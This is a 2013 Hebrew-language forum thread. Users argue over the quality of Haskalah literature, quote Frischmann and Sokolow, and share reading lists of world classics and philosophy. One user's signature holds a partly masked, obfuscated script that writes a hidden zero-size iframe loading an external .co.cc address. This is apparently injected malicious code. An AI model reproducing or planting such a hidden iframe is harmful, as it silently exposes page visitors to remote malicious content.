|
|
| נשלח ב-19/6/2013 00:35 |
|
| |
זאב,
אכן, התכוונתי לציטוט הנ"ל. פרישמן היה איש האבחנה הדקה בשם החן והטעם הטוב מתוך יכולת ראיה בלתי אמצעית והאזנה קשובה הנעלים מכל שיטה ומכל פילוסופיה, ועל-כן נחשב בדורו לאסתטיקן ומתנגדיו קראו לו יפה-רוח, אלא שכוחו כמבקר היה להבחין בין יצירות-אמת ליצירות-שקר, בין דיבור אמתי הנובע מעומק הלב לבין להג וזיוף. על-כן הוקיע את הסכלות ואת הזלזול בביטוי נקי, ולא חס בביקורתו גם על סופרים שהעריך כמו סמולנסקין או ברדיצ'בסקי. היתה לו יכולת להבין את נפשותיהם של היוצרים, ולברך גם על יצירות טובות שאינן כתובות על-פי דרכו הלירית.
ולצד הדברים שכתב פרישמן בשבח ספרות ההשכלה, כדאי גם לקרוא את הדברים הבאים שכתב נחום סוקולוב:
מי לנו גדול מאברהם מאפו? אבל תמונת הנוף ב"עיט צבוע", הקובנאית, מעל גדות הנימן, אין בינה ובין תמונת הנוף ב"אהבת ציון", ארץ-הישראלית, המזרחית. גם פה וגם שם גדלים ארזים ותמרים. ומאפו זה, שכתב פרקים דומים במתיקות הלשון וטהרתה לפרקי ספר רות, נחשב כאפיקורוס לשוני בעיני ה' בנדטסון מחבר ספר "מודע לבני הנעורים", שהמשכילים היו אומרים עליו, שהוא "נהרג על פחות משווה דגש", ושמנהגו היה לנגן שעה אחת על הכינור קודם שישב לכתוב עברית, כדי שתשרה עליו השכינה העברית. ואמנם השכינה שרתה על האנשים ההם, אבל לא הם ולא שפתם היו מעולמנו זה. הם הלבישו את כל העניינים בגדים תנכ"יים בדיוק לשוני, אבל בלי שום דיוק עניני. שר ההשכלה הצארי, ביביקוב, היה ל"ביבי-כאב תהיה לנו" בשירי אד"ם הכהן, ור' יוסף כהן-צדק ב"הנשר" ובה"מבשר" גייר את שמות כל הגויים הגדולים: "הכי קרא את שמו טיר, כי תייר גדול הנהו" - "טיסא - תשא, כי נשאו המלך", "קאלונקי - הוא קל ונקי" וכיוצא בזה. ככה כל העולם: כולו לא נברא אלא לציית ללשון נופל על לשון ולצחוק-מלים במליצה העבריה.
תוקן על ידי מ80 ב- 19/06/2013 00:41:15
 |
|
|
|
|
| נשלח ב-19/6/2013 02:52 |
|
| |
[מ,
תודה רבה על שני הטקסטים שהבאת!! אני חושבת שביניהם הם ראיה נאה לדבריי שיש כאן הרבה עניין של טעם אישי...]
|
|
|
|
| נשלח ב-19/6/2013 09:01 |
|
| |
אמשלום
כשם שבני האדם נבדלים הזה מזה בדעותיהם, כן הם נבדלים זה מזה בטעמם. טעם איננו רק עניין פנימי, אלא תלוי במידה רבה בחינוך ובסביבה התרבותית.
פרישמן היה איש התנ"ך, משורר לירי שהבין את עומק מהות לשון הקודש ואת ניגונה בחוש דק, ואשר אהב כל שירה שהזכירה לו את הנושאים והניגון המקראיים או ששאפה באמת אל יופי ומרחב וחירות. למרות שהכיר לפני ולפנים את התנ"ך ואת מיטב השירה האירופאית, הוא תמיד העריך יצירה ישירות באופן בלתי אמצעי על-פי טעמו, ובד"כ היה לו טעם טוב.
סוקולוב היה תלמיד חכם שמילא את כרסו בש"ס ופוסקים ובכמה ספריות עמוסות ספרים. עבורו להעריך יוצר היה מעין מחקר הלכתי-נפשי, בו נדרש לדייק ולסבור סברות ולחפש את התוך כדי להבין ייחודו ואת ערכו ואת מהותה האמתית של יצירתו.
תוקן על ידי מ80 ב- 19/06/2013 09:18:01
|
|
|
|
| נשלח ב-19/6/2013 13:04 |
|
| |
[מ,
כתבת - "כשם שבני האדם נבדלים הזה מזה בדעותיהם, כן הם נבדלים זה מזה בטעמם. טעם איננו רק עניין פנימי, אלא תלוי במידה רבה בחינוך ובסביבה התרבותית". אני חותמת על כך בשמחה. ומוסיפה - טעם זה גם עניין שיכול וצריך להתפתח, והתפתחותו תלויה גם במידה בה אנו חושפים עצמנו לטעום דברים חדשים ומגוונים.]
|
|
|
|
| נשלח ב-19/6/2013 13:17 |
|
| |
| Zeev_w כתב: |  | אפרים התבלבלת? המדובר בסופי ההשכלה "הנאורים" -איך הגעת ל"סופרים" החרדיים?
[למרות שגם דברי הבקורת שצטטת נאמרו ע"מ לשבח - ולהבהיר את חשיבותם התרבותית שאינה נמדדת באיכות אלא בשינוי התפיסה שהיא מחוללת] |
|
לא התבלבלתי אלא שאתה לוקה בחסרון הבנת הנקרא.
דברי הביקורת לא נועדו לשבח אלא לגנות ולהסביר את הסיבה לעליבותה של ספרות ההשכלה-היותה יהודית ללא השפעה של הסופרים הגויים הגדולים.אביא את הציטוט שוב וכל בר דעת יבין האם נועדה לשבח או לגנות:
"יש לִמנות תחילה דווקא את עיקרי עליבותה, משום שלא הישגיה (הזעומים)רלוואנטיים אלא דווקא מאפייני נחיתותה ונכותה: אותם גורמים ספרותיים ותרבותיים אשר עשו אותה גרועה במהותה ויהודית במהותה. היא היתה גרועה משום שהיתה כה יהודית"
היהודיות שלה גרמה לעליבותה . ולכן ציינתי שלא רק ספרות ההשכלה היתה נחותה אלא קל וחומר שגם הסופרים החרדים לוקים באותו חיסרון מובנה בתוך עולם התרבות שלהם-הבועה העלובה שבה הם שרויים ממש כמו האומללים הכלואים במערה במשל של אפלטון.
|
|
|
|
| נשלח ב-19/6/2013 15:49 |
|
| |
אני מצרף את הפרוטות שלי.
ואת התובנות שלי.
קריאה מחייבת לא רק הצבת מטרות כמו העשרת האינטלקט והכרת צורות חשיבה וערכים.
היא צריכה להיות קלה ומעניינת ונעימה.
קל ומושך לקרוא דבר מרתק, מהסוג שעליו כותבים בביקורת: לא יכולתי להניח את הספר מידי עד שסיימתי.
או "הצטערתי שהספר נגמר".
לפיכך, ספרים שאני אוהב או אהבתי ואני רוצה להמליץ עליהם הם ספרים שמעניין ותענוג לקרוא.
אני משתדל לציין רק לעברית, מפני שמי שלמד בחינוך שלנו לא קיבל הזדמנות לקנות את השפה האנגלית. וזה אולי דבר חיוני מאד שצריך, ממש כמו לוח הכפל.
אז בעברית. רשימה קצרה בינתים עם תיאור של מה שיש בכל ספר וספר.
קונן דויל, שרלוק הולמס. כל הסיפורים תורגמו מחדש בארבעה כרכים. לא כל הסיפורים טובים באותה מידה. ואפשר לדלג על האריכות בספר הראשון בסדרה, תעלומה בשני, על ההיסטוריה שהביאה לרצח. אבל החקירה הדדוקטיבית כביכול היא דגם מעניין של מה שאפשר להשיג בחשיבה.
אסימוב, סדרת "מוסד". (לא מכיר את התירגום העברי). כוונתי רק לשלושה הראשונים, ובעצם אפשר להסתפק בראשון. יש שם כמה רעיונות מרתקים על התקדמות ההיסטוריה. אני מסופק אם אסימוב, סופר יהודי ופיזיקאי שהחל לכתוב מד"ב בגיל צעיר, הכיר את הגל ואת היהדות, אבל הדגם של קבוצה חכמה שמנתחת את הכיוון שבו מתקדמת ההיסטוריה כדי לשפר את האנושות יכול להזכיר משהו לכולנו.
קורט וונגוט. "עריסת חתול", "גלפגוס" ואולי גם אחרים. זהירות: ניהיליזם קשה, מדכא ומעצבן. ובכל זאת, אתגר רגשי ואינטלקטואלי. מעלה את כל השאלות שחשוב לשאול. זהירות: לאחר עריסת חתול, אי אפשר שלא להיות בוקוניסט.
"אל תגע בזמיר" (לא זוכר את שם המחברת, תמצאו בגוגל). סיפור התבגרותה של בתו של עורך דין בדרום האמריקאני על סף המהפך במעמדם של הכושים.
"התפסן בשדה השיפון". לגיל ההתבגרות בכל גיל שזה קורה.
ראולינג, סדרת הארי פוטר. (כתבתי עליה בעבר). באמת סדרה שהפכה לקלאסית. למרבה הצער התירגום העברי נורא גס. אבל זה מה שיש.
אוסקר ווילד. כל הסיפורים. עדיף בתירגום הטוב ביותר שאפשר למצוא והיו כמה, לא כולם באותה רמה. אולי מישהו יכול לציין למהדורה יותר טובה. הסיפורים מעוררים התרגשות (לפחות אצלי) ומעלים שאלות ערכיות.
אנדרסן (כנ"ל). מסתבר שצריך לבחור אבל אפשר לקרוא הכל כי זה קצר ולילדים לכאורה. למשל: בת הים הקטנה. נדמה לי שיש כמה גרסאות לסיפור, ורק בחלקן הוא נגמר לא עצוב.
פרנק באום, "הקוסם מארץ עוץ". שוב כדאי לבחור תירגום טוב. העלילה דווקא פשטנית ולדעתי לא ספר טוב כמו האחרים, אבל הדמויות והסמלים הם מצויינים ובעלי משמעות תרבותית.
צ'סטרטון. סיפורי הבלשים של האב בראון (בחלקם יש מסרים מעניינים מאד) ובמיוחד ספרו "האיש שהיה יום חמישי" שתורגם לאחרונה לעברית. אחד הספרים המופלאים ביותר שקראתי אי פעם, ומשתווה לחלק מסיפורי בורחס שעליהם המלצתי לקמן.
דיקנס. דיויד קופרפילד ולו רק בשביל הפתיחה.
ויקטור הוגו, עלובי החיים. הדוגמא של הכומר שמגונן על הפושע וגורם לו לחזור בתשובה היא אחת היפות ביותר שקראתי אי פעם.
ג'ורג' אורוול, 1984 ואפשר גם את חוות החיות שלו. הספר הראשון מדכא ביותר, אבל חשוב מאד. במיוחד לחרדי פתוח...
בורחס. כל מה שאפשר למצוא ממנו בעברית. (הייתי לומד ספרדית כדי לקרוא אותו במקור, אבל יש הוצאה באנגלית של כל סיפוריו). יש לציין לשבח את תירגומי ברונובסקי.
שייקספיר. כיון שאי אפשר לקרוא אותו בעברית, אפשר לקרוא סיכומים של העלילות שלו. הן קבעו הרבה בעיצוב התרבות המערבית שכולנו גרים בתוכה. המלט (המהסס הנצחי), המלך ליר (סיפור עם מסר יהודי על הורה שלא נחן במידת הפיקחות לעומת בנות עם תאות בצע). מי יודע, אולי אפילו רומאו ויוליה. שוב, מספיק לקרוא את התקציר ואולי כמה ציטטות מפורסמות (יש יותר בשמים ובארץ, הורציו, ממה שיודעת הפילוסופיה שלך. סוף ציטוט. כמובן, הפילוסופיה ששייקספיר מדבר עליה זהה למכלול המדעים בתקופתו).
אם הזכרתי את רומיאו ויוליה, אז אפשר את "סיפור אהבה" (אריך סגל?). עצוב עד מוות ונוגע ללב. מה שאצלנו נקרא "עריות" אצלם נקרא אהבה רומנטית.
"האלכימאי". שכחתי את שם המחבר המדוייק. מומלץ מאד. בניגוד לשאר ספריו של המחבר. כפי שתגלו, הוא גנב את המוטיב העיקרי בעלילה מ... (לא מגלה). אבל עדיין כתוב להפליא.
סיפורי זן. צריך למצוא גרסה טובה. יתכן ש"קולה של היד האחת" אם אפשר למצאו הוא הריכוז היפה ביותר. חכמה בגויים תאמין.
אם הזכרתי תקצירים, ייראה לי שמפאת קוצר הזמן וגם חוסר הזמינות, זה יכול להיות רעיון לקרוא תקצירים של "הספרים הגדולים". מסתבר שלא חייבים לקרוא ספר שלם כדי להתפעם מרעיון או מדגם מחשבתי. ואם הספר נראה מעניין, אפשר לחפש אחריו. ואם לא, אז הכרנו דגם תרבותי.
במקום לקרוא את "האיליאדה והאודיסיאה" (ראיתי עיבוד של יחיעם פדן שאיני יודע עד כמה הוא נאמן למקור. המקור בתירגום לעברית יהיה בלתי קריא גם מחמת התירגום וגם מחמת עצמו). עדיף לקרוא תקציר ואז את הפרק הרלוונטי ב"מימזיס" שמשווה בין סגנונו של הומרוס לתנ"ך, להבדיל. חשוב ביותר לדעתי.
אני מניח שאוכל להיזכר בעוד. אבל יש כאן חומר קריאה לחודש...
קצת פילוסופיה בכל זאת.
דקרט. על המתודה או, למתקדמים בעלי סבלנות, הגיונות. ספר יסוד, לפחות בחלקו הראשון, כפי שמעידים הדיונים בפורום.
אפלטון, כל כתביו. אם יש סבלנות להשקיע. אם לא, אז הכרך הראשון. מרתק מאד, כי אפלטון היה גם מחבר ספרותי והכרך הראשון מלא בויכוחים של סוקרטס שמעלים את כל השאלות הגדולות של הפילוסופיה.
_____תוקנה טעות הקלדה.____________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 19/06/2013 15:50:58
 |
|
|
|
|
| נשלח ב-19/6/2013 15:54 |
|
| |
תוספת
בשבוע הספר גיליתי שיש הוצאה שמתרגמת ספרי ילדים קלאסיים ומטילה את המלאכה על אנשי מקצוע. כמעט כל ספר שם ראוי לקריאה. ויש שם קלאסיקות נפלאות כמו "ילדי המים" שאינו מוכר כמעט לאיש וחבל. אשתדל לחפש את שם ההוצאה. כדאי לחכות למבצעים כדי לקנות כי אני זוכר שמצאתי ספרים שלהם בארבעה במאה (החל מהשנה, שלושה במאה, קמצנים ויקרנים שכמותם).
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-19/6/2013 18:07 |
|
| |
אני חייב להודות שאני לא קראתי את הספרים האלו .
רק שאני לא מבין מה התועלת בכל זה .
לימוד התורה וספרי קדושה נותנים דרך חשיבה ומידרג קבלת החלטות בזמנים קשים .
ראיית הדברים בצורה הנכונה לטווח הארוך ולא מתוך אינסינגט רגעי .
הדרך גם מוכיחה את עצמה .
|
|
|
|
| נשלח ב-19/6/2013 19:05 |
|
| |
אייזין
עבורך במיוחד.
מתוך ויקי, אודות הספריה של אלכסנדריה, אוצר המידע הגדול ביותר ביותר של ימי הבינים:
בשנת 641 כבש צבא האימפריה המוסלמית את אלכסנדריה, זאת לאחר מצור בן שישה חודשים. לאחר הכיבוש היו נסיונות בודדים בשנת 645 ו- 654 לשחרור העיר על ידי הביזנטים, אך אלו כשלו והעיר כמו גם מצרים עצמה נשארו חלק מהאימפריה המוסלמית. בהנחה שהספרייה שרדה עד שנה זו (כלומר מעל 900 שנים), קיימת טענה כי הספרייה הוחרבה מיד עם הכיבוש. מה שמחזק את טענת החורבן בתקופה זו היא האימרה המיוחסת ל ח'ליף עומר בן אל-ח'טאב שעמד בראש האימפריה המוסלמית; "אם מה שכתוב סותר את ה קוראן, אז דינו להישרף, ואם הכתוב מתאים לכתוב ב קוראן, אז הוא מיותר, וראוי להישרף".
http://he.wikipedia.org/wiki/%D7%94%D7%A1%D7%A4%D7%A8%D7%99%D7%99%D7%94_%D7%94%D7%92%D7%93%D7%95%D7%9C%D7%94_%D7%A9%D7%9C_%D7%90%D7%9C%D7%9B%D7%A1%D7%A0%D7%93%D7%A8%D7%99%D7%94#.D7.97.D7.95.D7.A8.D7.91.D7.9F
***
כנגד החליף וכנגד דבריך, אני מציע את השיקול הבא:
לפעמים צריך התעוררות גם מסיבות חיצוניות כדי להבין מה שהתורה מלמדת אותנו.
לפעמים עיון בספרים שנזכרו לעיל יכול להביא לנו להבנה טובה יותר של המקרא.
של התורה.
ועוד שאלה שמקומה לא כאן, ואולי ראוי לה אשכול נפרד:
האם התורה מכילה הכל?
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-19/6/2013 20:31 |
|
| |
רוב התרגומים לעברית של ספרות אומות העולם הינם תרגומים של ספרות בינונית או תרגומים לא טובים.
להלן רשימה של תרגומים ראויים הן מבחינת ידיעת לשון הקודש והן מבחינה אמנותית:
א. ספר "כלילה ודמנה" בתרגום רבי יעקב בן-אלעזר. זהו חלק מספר המשלים ההודי העתיק "פצ'טנטרה". רב האי גאון שיבח ספר זה באחת מתשובותיו, ובימי הביניים הספר תורגם לעברית כמה פעמים.
ב. ספר המקאמות "בן-המלך והנזיר" מאת רבי אברהם אבן-חסדאי. המתרגם תירגם את הספר ממקור ערבי כנראה בלי שידע שבמקור זהו קובץ סיפורים הודי על בודהא. "בן המלך והנזיר" יצא בעשרות מהדורות במהלך הדורות, והיה לספר מוסר החביב הן על גדולי ישראל והן על עמך בית ישראל.
ג. מחברות איתיאל מאת רבי יהודה אלחריזי, תרגום לספר מקאמות של המשורר הערבי אלחרירי.
ד. המחזה "נתן החכם" מאת לסינג בתרגום אברהם בר גוטלובר.
ה. "גיטאני'אלי", "הירח העולה", "אספי פרי" מאת דוד פרישמן, תרגומים לספרי שירה בפרוזה של המשורר הבנגאלי הגדול רבידרנת טאגור.
שתי יצירות מקוריות ומיוחדות המושפעות מספרות אומות העולם:
א. ספר הענק (או ספר התרשיש) מאת רבי משה אבן-עזרא, אוסף שירי צימודים, מלאכת מחשבת של שירה מפוארת בהשפעת השירה הערבית היפה של אותה תקופה.
ב. המחזה "לישרים תהלה" מאת הרמח"ל. המשל והסגנון הפאסטוראלי נכתבו בהשראת המחזה "הרועה הנאמן" מאת המשורר האיטלקי גואריני. במשך כמאתיים שנה משוררי וסופרי ישראל החשיבו מחזה זה כפסגת היצירה של הספרות העברית החדשה.
תוקן על ידי מ80 ב- 19/06/2013 21:19:37
 |
|
|
|
|
| נשלח ב-19/6/2013 22:31 |
|
| |
מהי ספרות מקורית?
כתב נחום סוקולוב:
"כשאנו מתבוננים אל המשורר, אנו רגילים לראות אותו בתור איש מיוחד במינו, ומצוין מאד בתכונה מקורית, לפיכך אנו נכשלים בהעלמת עין מן המקורות, אשר משם נובעת, כביכול, מקוריות זו. בנוגע לשאלת המקוריות ואי מקוריות, יש בלבול גדול של דעות. המקוריות, אם נבין אותה באמת, פירושה: היות יחיד ובודד ופרוש, יכול אני לצייר לי אחד קדוש, סגור בחדרו, חי עפ"י רוחו ונטיותיו, בודד מקורי! לי אני נראתה התביעה, שתובעים מאת סופר או משורר - להיות מקורי בהחלט, כתביעה אי-ציבורית. מקוריות מוחלטת, כלומר אי-ציבוריות, או רואים רק - או אצל קדוש, או אצל אנרכיסטן. אבל האנשים, שמעינם נובע בספרות, היו תמיד אנשי ציבור; ואפילו שפרשו מן הציבור, היו תמיד מוקפים איזה מחנה; ואפילו שחשבו את עצמם כיחידים ברשות הרבים, היו תמיד הולכים ומוסיפים על מה שקדם להם, ממשיכים מה שאחרים התחילו, מביעים בהברה חדשה, מה שאחרים כבר הביעו. אין לך דבר חדש בהחלט, והמקוריות המוחלטת היא בדותא שבבדותא. האילנות אינם מוציאים בכל שנה פירות של צורה מפתיעה; לא! אותם הפירות בעצמם, באותה הצורה המדויקת, צומחים והולכים משנה לשנה, והעיקר - הרעננות, היופי, שפר הצורה ויקר התוכן."
מה מייחד משוררים וסופרים גדולים?
לענ"ד היותם סיני ועוקרי הרים. מחד, היכולת לקלוט את הרוח המיוחדת של אומתם ולשונם ממקורות ראשיים ומשניים, באופן עמוק ומקיף, ולהצליח להביע אותה בתוכן מצומצם ובצורה שלמה. מאידך, הרצון לחדש את היצירה בהתאם לדעות ולמחשבות ולרגשות שלהם ושל דורם.
מבחינות אלה, אולי היצירה היהודית המקורית הגדולה היחידה באלף השנים האחרונות הינה משנה תורה מאת הרמב"ם.
 |
|
|
|
|
| נשלח ב-19/6/2013 22:59 |
|
| |
מ
האם סופרים ואנשי רוח אינם גם יוצרים את הרוח החדשה ולא רק משקפים את הקיים?
מבחינה זו, תוכל לומר שהנביאים הם יוצרים.
כמדומה שהשאלה היתה לא רק על סופרים בעם ישראל אלא גם באומות העולם. אבל זו לא הערה. כל אחד כתב על מה שמוכר לו וחביב עליו ולדעתו חשוב להמליץ עליו.
|
|
|
|
| נשלח ב-19/6/2013 23:10 |
|
| |
| אפריםבן כתב: |  | לא התבלבלתי אלא שאתה לוקה בחסרון הבנת הנקרא.
דברי הביקורת לא נועדו לשבח אלא לגנות ולהסביר את הסיבה לעליבותה של ספרות ההשכלה-היותה יהודית ללא השפעה של הסופרים הגויים הגדולים.אביא את הציטוט שוב וכל בר דעת יבין האם נועדה לשבח או לגנות:
"יש לִמנות תחילה דווקא את עיקרי עליבותה, משום שלא הישגיה (הזעומים)רלוואנטיים אלא דווקא מאפייני נחיתותה ונכותה: אותם גורמים ספרותיים ותרבותיים אשר עשו אותה גרועה במהותה ויהודית במהותה. היא היתה גרועה משום שהיתה כה יהודית"
היהודיות שלה גרמה לעליבותה . ולכן ציינתי שלא רק ספרות ההשכלה היתה נחותה אלא קל וחומר שגם הסופרים החרדים לוקים באותו חיסרון מובנה בתוך עולם התרבות שלהם-הבועה העלובה שבה הם שרויים ממש כמו האומללים הכלואים במערה במשל של אפלטון.
|
| אפרים, הסופרים החרדים מסמיקים מגודל המחמאה למצוא א"ע בחברה אחת (מקצועית) עם וייזל, מאפו, שארטר ופרל סליטקוב יהודה לייב גורדון ומנדלי מוכר ספרים! בשבילך אתמצת את עיקרי דבריו של העברי [במאמר המלונקק לעיל] –דלגתי על החלק שלא רלונטי לנושא' ***** אסף ענברי \ הערה על תקופת ההשכלה וספרותה ספרות חשובה אינה בהכרח ספרות טובה, וספרות טובה אינה בהכרח ספרות חשובה. הספרות העברית שנכתבה באירופה בין 1780 ל 1880 היתה, ברובה, גרועה אך חשובה. חשיבותה הספרותית של יצירה כלשהי נעוצה בתרומתה להתפתחות הספרות, או בבהירותה כמסמך תרבותי מאלף ספרות ההשכלה אינה עומדת, רובה ככולה, בשום תקן, ולו סלחני, של איכות ספרותית. תהום פעורה בין איכות הספרות הרוסית והאירופית, שהרקיעה לשיאיה במאה התשעה עשרה, לבין הספרות העברית שנכתבה בגרמניה, בגאליציה וברוסיה באותה מאה עצמה. ברור שוַייזל הוא ננס מול גתה ושילר, שמאפו הוא ננס מול פלובר וטורגנייב ואפילו יל"ג, גְדול משוררי ההשכלה, ומנדלי, גְדול הפרוזאיקנים שלה, היו "גדולים" רק ביחס לקודמיהם העבריים, שהרי מהו יל"ג מול פושקין והיינה, ומהו מנדלי מול פילדינג וגוגול (שמהם הוא הושפע) או מול טולסטוי ודוסטויבסקי, בני זמנו ומקומו? .עלובה אך חשובה. ובתור שכזאת, כספרות חשובה, ולא כספרות מעולה או מופתית, היא נחקרת ונחלצת משיני השיכחה. ... בכן, במה חשיבותה? למען איתורו של יסודה הרלוואנטי יש לִ מנות תחילה דווקא את עיקרי עליבותה, משום שלא הישגיה (הזעומים) רלוואנטים!, אלא דווקא מאפייני נחיתותה ונכותה: אותם גורמים ספרותיים ותרבותיים אשר עשו אותה גרועה במהותה ויהודית במהותה. היא היתה גרועה משום שהיתה כה יהודית, ומשום שהיתה כה יהודית – היא רלוואנטית. קביעה זו תקומם, אולי, את מי שמחזיק בדימוי השגור, הפשטני והשגוי של ספרות ההשכלה כספרות ש"השתחררה" מכבליו של העולם היהודי המסורתי, ושפרצה כביכול אל עולם התרבות (ואל עולם הספרות) החילוני, המודרני. דימוי חילוני זה של ספרות ההשכלה הוא מוגזם, ואף נגוע בסילוף מגמתי. שכן לא זו בלבד שכל סופרי ההשכלה התחנכו בעול הישיבות המסורתי ובו עוצבה תודעתם הספרותית והתרבותית, ולא זו בלבד שרוב סופרי ההשכלה נשארו דתיים למהדרין כל חייהם, אלא שגם המעטים שמרדו והתפקרו נשארו נטועים במורשת השיח היהודית-ישיבתית שאותה הם ניגחו. ----- פרידלנדר מצביע על כך ש"סופרי ההשכלה לא השתחררו מהתפיסה [ההלכתית] הקונספטואלית של המציאות גם כשכתבו סיפור או רומן" ומאבחן בכך לא רק את חולשתה האמנותית של ספרות ההשכלה, אלא גם - וזה העיקר - את אופיה ההלכתי, גם כשניגחה את הממסד. .... המשכילים המאוחרים אכן נטשו את הדת, אך לא נטשו את עולם המושגים הדתי, את דפוסי המבע של הפילפול והמדרש; הם כתבו ספרות חולין שצביונה ישיבתי – ובַספרות, כידוע, הצורה היא המהות. הסופר היהודי תפס את עצמו כ"הצופה לבית-ישראל" הוא תפס את עצמו כמוכיח בשער – לא כאמן הנהנה ממעשה היצירה ומקווה לרתק ולרגש את קוראיו. - גם וולטר והוגו, דוסטויבסקי וטולסטוי, כתבו מתוך תחושה של שליחות חברתית, וקיוו להשפיע, לא רק לענג; אך לא עלה בדעתם להקריב כהוא זה את איכותה האמנותית של הבדיה הספרותית.על מזבח המסרים - הספרות היהודית ביקשה להיות חשובה הרבה יותר משביקשה להיות איכותית. ואכן, כזאת היתה. חשובה וגרועה. המחשבה אינה "טפלה בו לרגש היופי", אלא להפך. זוהי שירה רעיונית. אחד-העם הסגיר, עד כמה הוא יהודי בתפיסתו את הספרות, עד כמה הוא יהודי בסלידתו מהאסתטי, עד כמה הוא עקוד – כקודמיו המשכילים– לעולם ההלכתי, הגלותי-ישיבתי. כשהכריז לימים, ב"תעודת השילוח", כי יפרסם רק שירים וסיפורים שתימָצא בהם תועלת לאומית, וגם זה במשורה, הואיל ואין הוא סבור שהספרות היפה נחוצה לאומה כמו הכתיבה הפובליציסטית ("פואזיא בלבד, השתפכות הנפש על הדר הטבע ונועם האהבה וכדומה – יבקש לו כל החפץ בלשונות העמים וימצאנה במידה מספקת") – כשיצא (אחד העם) בהכרזה זו הוא מִחזר את העמדה היהודית-המשכילית: הסופר העברי אינו אמן, חס ושלום, אלא מורה-נבוכים לאומי, מחנך. הוא אמור להועיל לבית-ישראל. החרדה היהודית מפני הטבע והאֵרוס – הנושאים הבסיסיים של אמנות המערב – החרדה מהיפה, החושני, האמנותי, לפתה את קהילת הספרות העברית לאורך מאה ועשרים השנים שכללו את תקופת ההשכלה. דברים רבים השתנו בתוך תקופת ההשכלה; החרדה היהודית נשארה בעינה. אמנות היא "עבודה זרה", היא "צלם בהיכל", ובמקרה הטוב - "ביטול תורה", כי אין היא מועילה; אסתטיקה היא צורך ותוצרת של גויים, ומה ל"יפיפיותו של יפת" באהלי ישראל: מי חשב אחרת, מלבד דוד פרישמן? <מכאן תמשיך לקרוא –כהשלמת אותה תמונה ואותה המטבע - מזוית הפוכה- שכתב דוד פרישמן –ש'מ80' העתיק לעיל> **** כך אפריםבן, אני קורא את הטקסטים הללו. אתה מאשים אותי "בחוסר הבנת הנקרא" ? דומני שיש צורך להזמין אותך ללמוד בישיבה הבנת הנקרא! **** אם תרצה המחשה ל'בעיה היהודית' הזו תוכל להציץ בהודעת הפתיחה של אשכול זה. 'יתכן' שמרגיש כתינוק שנשבה ומבקש לבקוע את החומות – אך כל מהותו זועקת יהדות! כותרת האשכול <אלו ספרים חובה לקרוא> מה שמגלה עד כמה תפיסת החובה ממלאת את הויתו. או גם מרמזת על תפיסתו\הכרתו בתכלית ברורה (השווה עם דברים של ברוך קורצוויל) שיש צורך\חובה לכבוש! כך גם בהמשך, הדחף והמטרה < איזו רשימה של ספרים עליו לקרא כדי להיחשב יודע ספר ובן תרבות> גם כאן ניתן לחוש את המטרה שעומדת לעיני 'יתכן' את הלהט של טרום הסתערות... הישראלי החילוני המשכיל לעומת זאת , הוא כיום קוסמופוליט, והעולם הרגשי של הקוסמופוליט הוא פתוח, ליברלי, פנוי לשעשועים – גם אם חסרי תוכן כלשהו לגבי 'האני' והיחס שלו לזולת, למשפחה, לכלל החברתי שמסביבו. הוא גם עולם קריר, אנוכי, סגור בפני זעזועים רגשיים מיותרים. הוא לא מעוניין באקסטזות, אלא בבידור. לכן השירה שהתרבות הזאת מייצרת היא בעלת טמפרטורה רגשית נמוכה, היא חסרת אקסטזות רוחניות חזקות. 'יתכן' מבקש תרבות כתובה! אך מתעלם משאר שטחי האמנות והתרבות–– לא תאטרון, לא ציור ופיסול ואף לא מוזיקה ריקודים ספורט וסרטי קולנוע. נפשו של יתכן לא תמלא מהם "מי שטעם יין אונגרי ..."
|
|
|
|
|
| נשלח ב-19/6/2013 23:31 |
|
| |
מיימוני,
התפיסה של יוצרים כמחדשים את הרוח האנושית התחילה בתקופת הרנסנס כשאמנים כמו מיכלאנג'לו וטיציאן זכו להצלחה בינלאומית, ואז החלו להתייחס ביראת כבוד ליוצרים וראו בהם גאונים מחדשים. לדוגמא, פרופסור הרולד בלום, מבקר ספרות אמריקאי נודע, סבור ששקספיר המציא את האדם ההומאני ואת המושג המערבי של אישיות והחברות המודרניות אינן אלא פארודיה על האנרגיות השקספריות. עוד דוגמא, אמרו בזמנו שאנשים שחיו בפאריס עשרים שנה אחרי שנכתבו ספריו של בלזק היו דומים יותר לטיפוסים שביצירותיו מאשר אנשי זמנו. כמובן שהתפיסות כאלה יש בהן לא מעט מן האלילות ומן הגוזמא, ויוצרים אינם אלא כלים המוכשרים יותר לקבל השראה מאשר האדם הממוצע. ואמנם אפשר להיווכח שיוצרים גדולים מארצות שונות שלא הכירו זה את יצירתו של זה וחיו באותה תקופה, היה בהם הרבה מן המשותף מאותה רוח שהיתה חדשה לדורם.
|
|
|
|
| נשלח ב-20/6/2013 00:23 |
|
| |
באופן עקרוני יש חמש מגמות עקריות בספרות:
א. העיסוק בחיי היומיום ובשאלות הנפשיות והלאומיות של השעה.
לדוגמא, מנדלי מוכר ספרים בישראל, טורגנייב ברוסיה, דיקנס באנגליה.
ב. שאיפה ליופי וחיים משוחררים. לדוגמא, אפרים לוצאטו בישראל, טאסו באיטליה, לורד ביירון באנגליה, פושקין ברוסיה.
ג. השלישית, עיסוק בשאלות נפשיות ורוחניות המהותיות לאדם. לדוגמא, טולסטוי ברוסיה, לסינג בגרמניה, מאנצוני באיטליה, ג'ורג' אליוט באנגליה.
ד. הנחשבת בד"כ למופתית - שימור הערכים של דורות קודמים. לדוגמא, ספר רות בישראל, הומרוס ביוון, דנטה באיטליה, לה פונטיין בצרפת.
ה. הנעלית ביותר - חזון לעולם טוב יותר עבור האדם וכלל האנושות. לדוגמא, הנביאים בישראל, טאגור בהודו, הוגו בצרפת.
|
|
|
|
|